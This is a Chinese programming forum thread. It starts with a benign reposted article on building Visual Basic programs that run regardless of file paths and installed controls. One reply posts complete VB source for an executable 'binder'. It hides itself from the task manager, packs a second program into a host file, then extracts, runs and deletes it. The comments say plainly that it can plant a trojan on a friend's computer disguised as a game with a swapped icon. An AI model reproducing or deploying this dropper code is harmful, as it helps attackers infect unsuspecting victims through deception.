用VB开发与机器环境无关的程序

神话

【简 介】
　　　　软件的开发，必须要保证与机器环境的无关性，这是一个在开发和调试过程中都必须注意的问题。本文以Visual Basic程序设计语言为例，详细探讨了与机器环境无关的应用程序开发与测试的方法。


利用Visual Basic开发应用程序时，常常会遇到这样的问题：生成的可执行文件在开发的机器上能够运行，复制到另一台机器上则无法运行，这种现象称之为应用程序与机器环境相关。造成这种现象主要有两个方面的原因：一是程序在运行过程中调用了一些文件，如数据库文件、文本文件和图片文件等，由于路径使用不当而无法定位；二是Visual Basic编译成的.EXE文件并不是实际意义上的EXE文件，Visual Basic系统中的标准控件和开发过程中用到的第三方控件，都没有包含在内。此现象可由图1形象地加以说明。

　　因此要解决用VB开发的应用程序与机器环境的相关性，必须从两个方面入手，一是保证应用程序能调用到所用文件，二是应用程序发布时同时发布所有用到的控件和DLL文件。

　　开发与路径无关的应用程序
　　无论应用程序论开发得多么好，是否成功还取决于其能否在任何机器的任何目录下都能运行，这就要求应用程序要自成一体，不但要包含所有用到的文件，而且还应与路径无关。实现应用程序与路径无关可用两种方法：一是利用VB.APP对象的PATH属性；二是把调用文件放在光盘上，直接调用。

　　1.利用VB.APP.PATH实现与路径无关

　　该方法的主要思路是在调用文件时利用相对路径，由于VB中不支持与DOS类似的相对路径，如调用当前目录下的“hh1.bmp”文件，写成“hh1.bmp” 和 “.\hh1.bmp“将会出错。为解决该问题，VB提供一个VB.APP对象，该对象有个名为PATH的属性，它记下了执行文件所在的路径，可在运行时访问。

　　用该方法创建与路径无关应用程序的要点如下：

　　（1）为应用程序（项目）创建一个目录，用以存放建立的窗体或其它文件。

　　（2）把应用程序所调用的文件放在该目录下或者放在该目录的子目录下。子目录最好按照引用文件的类型进行建立，如存放图片的子目录名为PIC，存放表的的目录为DBF等。

　　（3）除包含在可执行文件中的文件（如在设计时图片框加载的图片）外的其它文件，调用一律采用相对路径而禁用绝对路径。

　　这样在复制应用程序的时候，只要把应用程序目录下的所有文件（包括子目录）复制到任意目录下，应用程序都不会发生因找不到文件而产生的错误。

　　以下是一个程序实例，该实例显示一系列的角度逐渐变化的地球图片，从而形成地球转动动画。用VB设计一个窗体，窗体上放置一个图片框，名为Image1（Strech=.T.），给窗体加一个定时器控件，控件名为Timer1(Interval=25，enabled=.t.)，该项目存放在A:\exam下，图片文件存放在A:\EXAM1\PIC下面。

　　使用绝对路径，程序代码如下：

　　Dim t1 As Integer

　　Private Sub Form_Load()

　　t1 = 0 注释：t1 记录时钟事件发生的次数

　　End Sub

　　Private Sub Timer1_Timer()

　　t1 = t1 + 1

　　If t1 ＜ 100 Then 注释：图片共显示100幅

　　current = t1 Mod 8

　　注释：current表示当前应该显示哪张图片

　　FileName$ = "A:\exam\pic\earth" && current && ".jpg" 注释：图片文件名(绝对路径)

　　Image1.Picture = LoadPicture(FileName$) 注释：显示图片

　　 Else

　　 End 注释：程序结束

　　 End If

　　End Sub

　　该程序使用绝对路径调用外部文件（earth0.jpg fearth7.jpg），当把EXAM目录全部内容拷贝到其它机器上，抽出软盘后，运行程序将发生找不到文件错误。若采用VB.APP.PATH属性，把形成图片文件名的语句改写如下：

　　FileName$ = VB.App.Path && "\pic\earth" && current && ".jpg" 注释：形成显示图片的文件名

　　这样无论把exam目录完全复制到任何机器，程序均能运行。

　　2.从光盘调用文件实现与路径无关

　　把应用程序要调用文件放在光盘指定目录下，应用程序发行时和该光盘的拷贝一同发行。程序运行时，直接从光盘指定目录调用文件，故不会发生因找不到文件而出现的错误。由于不同机器上的光盘盘符不同，因此在开发时不能直接引用光盘的盘符，应用程序必须要先取得光盘盘符，然后再生成需要调用文件的完整文件名。

　　取得光驱盘符可以使用API函数，也可以通过以下程序段来检测到光驱盘符：

　　Private Declare Function GetDriveType Lib "kernel32"

　　Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 注释：声明 API函数

　　Dim drive As String

　　Dim a As Long

　　For i = 0 To 25

　　 drive = Chr(65 + i) && ":\" 注释：形成盘符符号

　　 a = GetDriveType(drive)

　　注释：得到盘符常数

　　 If a = 5 Then

　　 Exit For

　　注释：如果是光驱则退出

　　 End If

　　 Next

　　 以上程序段放在需要检测光驱的地方，通常放在Form.load事件中，光驱盘符存放在Drive变量中。检测到光驱后，则可直接调用光盘上的文件，如上例中，若PIC目录下的图片文件存放在光盘上，形成文件名的语句则可以用以下语句代替：

　　FileName$ = Drive && "exam\pic\earth" && current && ".jpg" 注释：形成显示图片的文件名

　　这样，我们就实现了从光盘调用文件与路径无关了。

　　包装应用程序实现与系统无关
　　解决了与文件路径相关的问题后，生成的可执行文件在其它没有安装Visual Basic的机器中，依然无法执行。原因之一是Visual Basic具有21个标准控件，这些控件都保存在动态链接库中（扩展名为DLL），Visual Basic的可执行程序中并没有包含；原因之二是开发的应用程序可能包含了第三方控件，Visual Basic的可执行程序中也不包含它们。因此在其它机器上执行VB开发的应用程序，必须使该机器包含程序中所有用到的动态链接库和控件文件（OCX或VBX文件），并需要把它们在Windows中加以注册。

　　为了减少拷贝和注册DLL、OCX和VBX给用户带来的麻烦，VB自带了一个包装程序，利用它给应用程序打包，生成安装盘。包中可以包含应用程序相关文件、DLL文件、OCX文件、VBX文件等。要把程序包安装到某台机器上时，只需在该机器上执行Setup程序即可，由Setup程序自动完成相应的DLL、OCX和VBX文件的拷贝和注册。

　　应用程序与机器环境无关性测试方法
　　要保证程序的机器环境的无关性，必须要进行严格测试。但由于在开发机器上，所有调用的文件都实际存在，DLL、OCX和VBX等文件存在并且已经注册，所以无法进行程序的机器环境无关性测试。测试只能在其它机器上进行，可以分成以下几步：

　　（1）另找一台只安装了Windows系统而没有安装任何其它软件的机器，且只有Windows系统子目录。

　　（2）在该机器上解包并执行程序。

　　（3）若执行无误则进入下一步，否则该软件需根据提示进行修改。该步骤保证了调用DLL、OCX和VBX的正确性，但并不能保证与路径无关。

　　（4）改变应用程序的安装目录再进一步验证路径无关性，若无误进入下一步，否则该软件需根据提示进行修改。该步骤保证软件自带文件的调用正确性。

　　（5）另找一台只安装了Windows系统的机器，Windows系统子目录与前台机器不一样，然后重复以上步骤，若无误说明该软件已经达到了机器环境无关性的要求。否则该软件需根据提示进行修改。该步骤保证软件绝对没有调用任何没有自带的外部文件。

　　应用程序的系统无关性是软件成败的一个重要因素，是程序设计中需要详细规划的一个重要方面，同时也是程序调试的一个重点内容。本文讨论的方法，稍加修改亦可适用于其它开发工具。


作者：eNet学院Paladin摘编　

lights

!!!!精品废话
！！！我还以为你解决了vb依赖解释执行的问题呢！
白激动了！！其实有更好的现成的工具！到csdn去找！

lights

'VB也疯狂，自己生成自己，病毒？
'病毒是在程序中加入额外的代码来完成自己的使命。
'这个程序是在程序中加入额外的程序。
'如果你想给你的朋友发个大木马程序......
'如果你想把什么驻留在你朋友的电脑里......
'如果你怕你的朋友玩怀了眼睛，想提前帮他关机......
'木马我不提供、安装木马的程序我不提供。
'提供给你源代码，其实修改一下就是很好的木马安装程序。
'假设你把这个程序编译成dan.exe
'这个程序的使用方法 如：DAN pro1.exe ie.exe
'就会生成一个 dan_2.exe
'运行dan_2.exe就会依次运行pro1.exe和ie.exe,但你不再需要这两个文件。
'实例: DAN hehehe.exe game.exe
'hehehe.exe 是你的木马安装程序
'game.exe 是游戏或是安装程序
'再把dan_2.exe 换上game.exe 的图标，改名成 game.exe
'发给你的朋友，呵呵......纯属例子，请勿模仿。
'支持监测自身是否染毒的程序，以及一切运行程序。
'不支持监测自身是否改名的程序（有这么变态的程序么？）
'切记只能编译成运行程序使用，且勿调试。（如果你有好的调试方法，感激涕淋）

'dangerous.bas 无窗口程序。

'全都是为shell32bit准备
Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "Kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Sub Sleep Lib "Kernel32" (ByVal dwMilliseconds As Long)

Sub Shell32Bit(ByVal JobToDo As String) '运行一个程序直到它结束
         Dim hProcess As Long
         Dim RetVal As Long
         hProcess = OpenProcess(&H400, False, Shell(JobToDo, 1))
         Do
             GetExitCodeProcess hProcess, RetVal
             DoEvents: Sleep 100
         Loop While RetVal = &H103
End Sub
Sub Main()
On Error Resume Next
Dim tCom As String
Dim tTag As Long
Dim Add1 As Long
Dim long1 As Long
Dim Add2 As Long
Dim long2 As Long
tTag = &H76543210 '古怪的几乎不可能出现在文件结尾的值，来判断是否连接过
Dim n As Long
Dim pict() As Byte

App.TaskVisible = False '不显示在任务管理器
ddd = App.Path
If Right(ddd, 1) <> "\" Then ddd = ddd & "\"
tCom = Command()
file1 = PickWord(tCom) '命令行输入的第一个参数
file2 = PickWord(tCom) '命令行输入的第二个参数
tfile = ddd & App.EXEName & ".exe"
tfile2 = ddd & App.EXEName & "_2" & ".exe"
FileCopy tfile, tfile2 '复制一个临时的文件

code = FreeFile(1)
Open tfile2 For Binary As code
  
  Seek code, FileLen(tfile2) - 19 '读出最后20个字节纪录的信息
   Get code, , Add1 '文件一地址
   Get code, , long1 '文件一尺寸
   Get code, , Add2 '文件二地址
   Get code, , long2 '文件二尺寸
   Get code, , n '是否处理过的标志
If n = tTag Then '如果是一个处理过的文件
'解开执行
  file1 = ddd & App.EXEName & "_2a" & ".exe"
  file2 = ddd & App.EXEName & "_2b" & ".exe"
  '生成文件1
  ReDim pict(long1 - 1)
  Seek code, Add1
   Get code, , pict
  code2 = FreeFile(1)
  Open file1 For Binary As code2
   Put code2, , pict
  Close code2
  Shell32Bit file1 '执行文件1
  Kill file1 '删除文件1
  '生成文件2
  ReDim pict(long2 - 1)
  Seek code, Add2
   Get code, , pict
  code2 = FreeFile(1)
  Open file2 For Binary As code2
   Put code2, , pict
  Close code2
  Shell32Bit file2 '执行文件2
  Kill file2 '删除文件2
  
Else
'合并文件
   '并入文件1
  Seek code, 1 + FileLen(tfile2)
   code2 = FreeFile(1)
   Open file1 For Binary As code2
    ReDim pict(FileLen(file1) - 1)
    Get code2, , pict
    Put code, , pict
   Close code2
   If Err.Number <> 0 Then GoTo errNofile
   Err.Clear
   '并入文件2
  Seek code, 1 + FileLen(tfile2) + FileLen(file1)
   code2 = FreeFile(1)
   Open file2 For Binary As code2
    ReDim pict(FileLen(file2) - 1)
    Get code2, , pict
    Put code, , pict
   Close code2
   If Err.Number <> 0 Then GoTo errNofile
   Err.Clear
   '计录状态
  Seek code, 1 + FileLen(tfile2) + FileLen(file1) + FileLen(file2)
   Add1 = 1 + FileLen(tfile2)
   long1 = FileLen(file1)
   Add2 = 1 + FileLen(tfile2) + FileLen(file1)
   long2 = FileLen(file2)
   Put code, , Add1
   Put code, , long1
   Put code, , Add2
   Put code, , long2
   Put code, , tTag
End If

Close code

If n = tTag Then Kill tfile2 '执行完毕删除临时文件
End

errNofile: '缺少连接文件
Close code '关闭临时文件
Kill tfile2 '删除临时文件
MsgBox "         找不到文件。" & Chr(13) _
     & Chr(13) _
     & "           使用方法：" & Chr(13) _
     & "APPname File1name File2name " & Chr(13) _
     & "  APPname: 本程序文件名" & Chr(13) _
     & "File1name: 连接的第一个文件" & Chr(13) _
     & "File2name: 连接的第二个文件" _
     , vbOKOnly, "错误"
End

End Sub
Public Function PickWord(strs As String) As String '挨个取出字符串中的单词
For a = 1 To Len(strs)
  If Mid(strs, a, 1) <> " " Then ss = a:  GoTo 100
Next a
PickWord = "": Exit Function
100
For a = ss To Len(strs)
  If Mid(strs, a, 1) = " " Then ee = a: GoTo 200
Next a
ee = a
200
PickWord = Mid(strs, ss, ee - ss)
strs = Mid(strs, ee + 1)
End Function

神话

拜托LIGHTS~这个只是让大家了解下运做方式~具体现在谁还用这方法？晕。

大蟑螂

不错